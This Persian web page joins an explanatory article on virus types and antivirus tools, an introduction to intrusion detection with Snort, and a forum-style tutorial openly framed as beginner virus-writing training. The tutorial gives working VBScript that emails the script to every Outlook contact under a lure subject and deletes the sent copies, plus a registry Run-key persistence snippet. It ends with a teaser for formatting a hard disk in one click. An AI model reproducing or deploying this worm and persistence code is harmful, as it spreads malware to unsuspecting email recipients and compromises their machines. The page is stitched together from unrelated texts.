صفحه اصلی
ویروس و ضدویروس
حجم عظیم ویروس ها، کرم ها، ایرادات نرم افزارها و تهدیدهای ناشی از آنها، نرم افزارهای ضدویروس را تبدیل به یکی از ابزارهای لازم برای همه کامپیوترها نموده است. در صورت آلوده شدن یک کامپیوتر به ویروس بسته به نوع آن ممکن است مصائب مختلفی برای سیستم کامپیوتری بوجود آید که در پاره ای موارد جبران آن ها هزینه های زیادی را تحمیل می کند. آسیب های بعضی از ویروس ها به گونه ای است که آثار سوء آن ها را به هیچ وجه نمی توان از بین برد. مستقل از نوع ویروسی که باید با آن مقابله شود نیاز به برنامه های ضد ویروس همواره وجود دارد و در شرایطی که محصولات ضد ویروس متنوعی تولید شده اند، انتخاب نرم افزار مناسب دغدغه کاربران می باشد.
این مقاله ضمن معرفی انواع ویروس ها، نحوه عمل کرد برنامه های ضدویروس و انواع ویروس هایی که ضدویروس ها شناسایی و پاکسازی می کنند را معرفی می کند. همچنین اطلاعاتی که برای انتخاب ابزار مناسب لازم است بیان شده و تعدادی از برنامه های ضد ویروس با هم مقایسه خواهند شد.
ویروس چیست؟
ویروس های کامپیوتری برنامه هایی هستند که مشابه ویروس های بیولوژیک گسترش یافته و پس از وارد شدن به کامپیوتر اقدامات غیرمنتظره ای را انجام می دهند. با وجودی که همه ویروس ها خطرناک نیستند، ولی بسیاری از آنها با هدف تخریب انواع مشخصی از فایل ها، برنامه های کاربردی و یا سیستم های عامل نوشته شده اند.
ویروس ها هم مشابه همه برنامه های دیگر از منابع سیستم مانند حافظه و فضای دیسک سخت، توان پردازنده مرکزی و سایر منابع بهره می گیرند و می توانند اعمال خطرناکی را انجام دهند به عنوان مثال فایل های روی دیسک را پاک کرده و یا کل دیسک سخت را فرمت کنند. همچنین یک ویروس می تواند مجوز دسترسی به دستگاه را از طریق شبکه و بدون احراز هویت فراهم آورد.
برای اولین بار در سال ۱۹۸۴ واژه «ویروس» در این معنا توسط فرد کوهن در متون آکادمیک مورد استفاده قرار گرفت. در این مقاله که «آزمایشاتی با ویروس های کامپیوتری» نام داشت نویسنده دسته ای خاص از برنامه ها را ویروس نامیده و این نام گذاری را به لئونارد آدلمن نسبت داده است. البته قبل از این زمان ویروس ها در متن داستان های عملی و تخیلی ظاهر شده بودند.
انواع ویروس
انواع ویروس های رایج را می توان به دسته های زیر تقسیم بندی نمود:
boot sector :
boot sector اولین Sector بر روی فلاپی و یا دیسک سخت کامپیوتر است. در این قطاع کدهای اجرایی ذخیره شده اند که فعالیت کامپیوتر با استفاده از آنها انجام می شود. با توجه به اینکه در هر بار بالا آمدن کامپیوتر Boot sector مورد ارجاع قرار می گیرد، و با هر بار تغییر پیکربندی کامپیوتر محتوای boot sector هم مجددا نوشته می شود، لذا این قطاع مکانی بسیار آسیب پذیر در برابر حملات ویروس ها می باشد.
این نوع ویروس ها از طریق فلاپی هایی که قطاع boot آلوده دارند انتشار می یابند. Boot sector دیسک سخت کامپیوتری که آلوده شود توسط ویروس آلوده شده و هر بار که کامپیوتر روشن می شود، ویروس خود را در حافظه بار کرده و منتظر فرصتی برای آلوده کردن فلاپی ها می ماند تا بتواند خود را منتشر کرده و دستگاه های دیگری را نیز آلوده نماید. این گونه ویروس ها می توانند به گونه ای عمل کنند که تا زمانی که دستگاه آلوده است امکان boot کردن کامپیوتر از روی دیسک سخت از بین برود.
این ویروس ها بعد از نوشتن بر روی متن اصلی boot سعی می کنند کد اصلی را به قطاعی دیگر بر روی دیسک منتقل کرده و آن قطاع را به عنوان یک قطاع خراب (Bad Sector) علامت گذاری می کند.
Macro viruses:
این نوع ویروس ها مستقیما برنامه ها را آلوده نمی کنند. هدف این دسته از ویروس ها فایل های تولید شده توسط برنامه هایی است که از زبان های برنامه نویسی ماکرویی مانند مستندات Exel یا Word استفاده می کنند. ویروس های ماکرو از طریق دیسک ها، شبکه و یا فایل های پیوست شده با نامه های الکترونیکی قابل گسترش می باشد.
ویروس تنها در هنگامی امکان فعال شدن را دارد که فایل آلوده باز شود، در این صورت ویروس شروع به گسترش خود در کامپیوتر نموده و سایر فایل های موجود را نیز آلوده می نماید. انتقال این فایل ها به کامپیوتر های دیگر و یا اشتراک فایل بین دستگاه های مختلف باعث گسترش آلودگی به این ویروس ها می شود.
File infecting viruses:
فایل های اجرایی (فایل های با پسوند .exe و .com) را آلوده نموده و همزمان با اجرای این برنامه ها خود را در حافظه دستگاه بار نموده و شروع به گسترش خود و آلوده کردن سایر فایل های اجرایی سیستم می نمایند. بعضی از نمونه های این ویروس ها متن مورد نظر خود را به جای متن فایل اجرایی قرار می دهند.
ویروس های چندریخت(Polymorphic):
این ویروس ها در هر فایل آلوده به شکلی ظاهر می شوند. با توجه به اینکه از الگوریتم های کدگذاری استفاده کرده و ردپای خود را پاک می کنند، آشکارسازی و تشخیص این گونه ویروس ها دشوار است.
ویروس های مخفی:
این ویروس ها سعی می کنند خود را از سیستم عامل و نرم افزارهای ضدویروس مخفی نگه دارند. برای این کار ویروس در حافظه مقیم شده و حائل دسترسی به سیستم عامل می شود. در این صورت ویروس کلیه درخواست هایی که نرم افزار ضدویروس به سیستم عامل می دهد را دریافت می کند. به این ترتیب نرم افزارهای ضدویروس هم فریب خورده و این تصور به وجود می آید که هیچ ویروسی در کامپیوتر وجود ندارد. این ویروس ها کاربر را هم فریب داده و استفاده از حافظه را به صورت مخفیانه انجام می دهند.
ویروس های چندبخشی
رایج ترین انواع این ویروس ها ترکیبی از ویروس های boot sector و file infecting می باشد. ترکیب انواع دیگر ویروس ها هم امکان پذیر است.
سایر برنامه های مختل کننده امنیت
برخی از محققین اسب های تروا(Trojan)، کرم ها و بمب های منطقی را در دسته ویروس ها قرار نمی دهند ولی واقعیت این است که این برنامه ها هم بسیار خطرناک بوده و می توانند خساراتی جدی به سیستم های کامپیوتری وارد نمایند.
اسب های تروا تظاهر می کنند که کاری خاص را انجام می دهند ولی در عمل برای هدف دیگری ساخته شده اند، به عنوان مثال برنامه ای که وانمود می کند که یک بازی است ولی در واقع اجازه دسترسی از راه دور یک کاربر به کامپیوتر را فراهم می آورد.
کرم ها برنامه هایی هستند که مشابه ویروس ها توان تکثیر کردن خود را دارند، ولی برعکس آنها برای گسترش خود نیاز به برنامه هایی دیگر ندارند تا آنها را آلوده کرده و تحت عنوان فایل های آلوده اقدام به انتقال و آلوده کردن دستگاه های دیگر نمایند. کرم ها معمولا از نقاط آسیب پذیر برنامه های e-mail برای توزیع سریع و وسیع خود استفاده می نمایند.
بمب های منطقی برنامه هایی هستند که در زمان هایی از قبل تعیین شده؛ مثلا یک روز خاص؛ اعمالی غیر منتظره انجام می دهند. این برنامه ها فایل های دیگر را آلوده نکرده و خود را گسترش نمی دهند.
علی رغم تنوع انواع برنامه های مخرب، برنامه های قوی ضد ویروس می توانند نسخه های مختلف آنها را شناسایی و از بین ببرند. در ادامه این متن برای سادگی به همه انواع این برنامه ها عنوان عمومی ویروس اطلاق می شود.
در بخش های بعدی نرم افزارهای ضدویروس مورد بررسی قرار خواهند گرفت.
Snort، نمونهای از یک ابزار تشخیص نفوذ شبکهای
یک نرمافزار تشخیص نفوذ بهصورت کدباز است که بر روی محیطهای Linux و Windows عرضه میگردد و با توجه به رایگان بودن آن، به یکی از متداولترین سیستمهای تشخیص نفوذ شبکههای رایانهیی مبدل شده است. از آنجاکه برای معرفی آن نیاز به معرفی کوتاه این دسته از ابزارها داریم، ابتدا به مفاهیمی اولیه دربارهی ابزارهای تشخیص نفوذ میپردازیم، به عبارت دیگر معرفی این نرمافزار بهانهیی است برای ذکر مقدمهیی در باب سیستمهای تشخیص نفوذ.
Intrusion Detection System (IDS) یا سیستم تشخیص نفوذ به سختافزار، نرمافزار یا تلفیقی از هر دو اطلاق میگردد که در یک سیستم رایانهیی که میتواند یک شبکهی محلی یا گسترده باشد، وظیفهی شناسایی تلاشهایی که برای حمله به شبکه صورت میگیرد و ایجاد اخطار احتمالی متعاقب حملات، را بر عهده دارد.
IDSها عملاً سه وظیفهی کلی را برعهده دارند : پایش، تشخیص، واکنش. هرچند که واکنش در مورد IDSها عموماً به ایجاد اخطار، در قالبهای مختلف، محدود میگردد. هرچند دستهیی مشابه از ابزارهای امنیتی به نام Intrusion Prevention System (IPS) وجود دارند که پس از پایش و تشخیص، بستههای حملههای احتمالی را حذف میکنند. نکتهیی که در این میان باید متذکر شد، تفاوت و تقابل میان Firewallها و IDSها است. از آنجاکه ماهیت عملکرد این دو ابزار با یکدیگر به کلی متفاوت است، هیچیک از این دو ابزار وظیفهی دیگری را به طور کامل برعهده نمیگیرد، لذا تلفیقی از استفاده از هردو ابزار میتواند امنیت کلی سیستم را بالا ببرد.
در حالت کلی IDSها را میتوان به دو دستهی کلی تقسیمبندی نمود :
- Network IDS (NIDS)
- Host IDS (HIDS)
HIDSها، اولین سیستم IDSی هستند که در یک سیستم رایانهای باید پیادهسازی شود. معیار تشخیص حملات در این سیستمها، اطلاعات جمعآوری شده بر روی خادمهای مختلف شبکه است. برای مثال این سیستم با تحلیل صورت عملیات انجام شده، ذخیره شده در پروندههایی خاص، سعی در تشخیص تلاشهایی که برای نفوذ به خادم مذکورد انجام شده است دارد. این تحلیلها میتواند به صورت محلی بر روی خود خادم انجام گردد یا به سیستم تحلیلگر دیگری برای بررسی ارسال شود. یک HIDS میتواند تحلیل اطلاعات بیش از یک خادم را بر عهده بگیرد.
با این وجود، اگر نفوذگر جمعآوری صورت عملیات انجامشده بر روی هریک از خادمهای مورد نظر را به نحوی متوقف کند، HIDS در تشخیص نفوذ ناموفق خواهد بود و این بزرگترین ضعف HIDS است.
NIDSها، به عنوان دومین نوع IDSها، در بسیاری از موارد عملاً یک Sniffer هستند که با بررسی بستهها و پروتکلهای ارتباطات فعال، به جستجوی تلاشهایی که برای حمله صورت میگیرد میپردازند. به عبارت دیگر معیار NIDSها، تنها بستههایی است که بر روی شبکهها رد و بدل میگردد. از آنجاییکه NIDSها تشخیص را به یک سیستم منفرد محدود نمیکنند، عملاً گستردهگی بیشتری داشته و فرایند تشخیص را به صورت توزیعشده انجام میدهند. با این وجود این سیستمها در رویایی با بستههای رمزشده و یا شبکههایی با سرعت و ترافیک بالا کارایی خود را از دست میدهند.
با معرفی انجام شده در مورد دو نوع اصلی IDSها و ضعفهای عنوان شده برای هریک، واضح است که برای رسیدن به یک سیستم تشخیص نفوذ کامل، بهترین راه استفادهی همزمان از هر دو نوع این ابزارهاست.
Snort، در کاملترین حالت نمونهیی از یک NIDS است. این نرمافزار در سه حالت قابل برنامهریزی میباشد :
در این حالت، این نرمافزار تنها یک Sniffer ساده است و محتوای بستههای ردوبدل شده بر روی شبکه را بر روی کنسول نمایش میدهد.
Snortدر این وضعیت، اطلاعات بستههای شبکه را در پروندهیی که مشخص میشود ذخیره میکند.
در این پیکربندی، بر اساس دو قابلیت پیشین و با استفاده از قابلیت تحلیل بستهها و قوانینی که تعیین میگردد، Snort امکان پایش و تحلیل بسته و تشخیص نفوذ را یافته و در صورت نیاز واکنش تعیین شده را بهروز میدهد.
حالت پیشفرض خروجی این ابزار فایلی متنی است که میتواند در آن ابتدای بستهها را نیز درج کند. با این وجود در صورتیکه این ابزار در حال فعالیت بر روی ارتباطات شبکهیی با سرعت بالا میباشد بهترین راه استفاده از خروجی خام باینری و استفاده از ابزاری ثانویه برای تحلیل و تبدیل اطلاعات خروجی است.
بُعد دیگر از پیکربندی Snort به عنوان یک سیستم تشخیص نفوذ، استفاده از قوانین برای ایجاد معیار نفوذ برای Snort است. برای مثال میتوان با قانونی، Snort را مکلف ساخت که نسبت به دسترسیهای انجام شده مبتنی بر پروتکلی تعیین شده از/به یک پورت خاص و از/به یک مقصد معین با محتوایی شامل رشتهیی خاص، اخطاری یا واکنشی ویژه را اعمال کند.
نکتهیی که باید در نظر داشت این است که از آنجاکه Snort را میتوان به گونهیی پیکربندی نمود که قابلیت تشخیص حمله توسط ابزارهای پویش پورت را نیز داشته باشد، لذا با وجود استفاده از Snort نیازی به استفاده از ابزاری ثانویه برای تشخیص پویشگرهای پورت وجود ندارد.
همانگونه که گفته شد، Snort با قابلیتهای نسبتاً کاملی که در خود جای دادهاست، به همراه رایگان بودن آن و قابلیت نصب بر روی محیطها و سیستمهای عامل متدوال، به یکی از معمولترین IDSهای کنونی مبدل شده است. برای دریافت این نرمافزار و همچنین اطلاعات جامعی در مورد آن میتوانید به پایگاه اصلی آن، www.snort.org، مراجعه کنید.
اموزش : برنامه خود را از طریق ادرس ایمیل دیگران در تمام جهان پخش کنید
شما با استفاده از اتلوک اکسپرس می تونید برنامه به ویژه ویروس خودتون رو در سرار جهان پخش کنید این روشی که من الان می نویسم یکی از روش های پخش ویروس هاست ولی خوب با استفاده از این روش می تونید برنامه یا هرچی رو در تمام جهان پخش کنید
Code:
Set OutlookApp = CreateObject("Outlook.Application")
If Not OutlookApp = "" Then
For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists
For UserGroup = 1 To ContactSwitch.AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Send
Next
Next
End If
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
اگه متوجه نشدید ناراحت نشید چون قرار نیست که همه متوجه بشن اگه این طوری باشه همه ملت ویروس نویس می شن فقط اونهای که تو این کار (ویروس نویسی ) هستن می دونن این کد چه ارزشی داره . در ضمن تا یادم نرفته اقا من ویروس نویس نیستم ( نکنه یه دفعه برام ویروس بفرستن حالم رو بگیرن ) من برای تفریح با این ویروس ها ور می رفتم ازشون یه چیز های یاد گرفتم
خوب چون این تاپیک به درد تازه کار ها هم خوره یه اموزش مقدماتی می دم که برای ویروس نویسی هم به کار می یاد
1)اجرای برنامه در استارتاپ:
با استفاده از کد زیر می تونید برنامه ای که می نویسید تو استارتاپ قرار بدید
Code:
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
با یک کلیک هارد را فرمت کنید!!!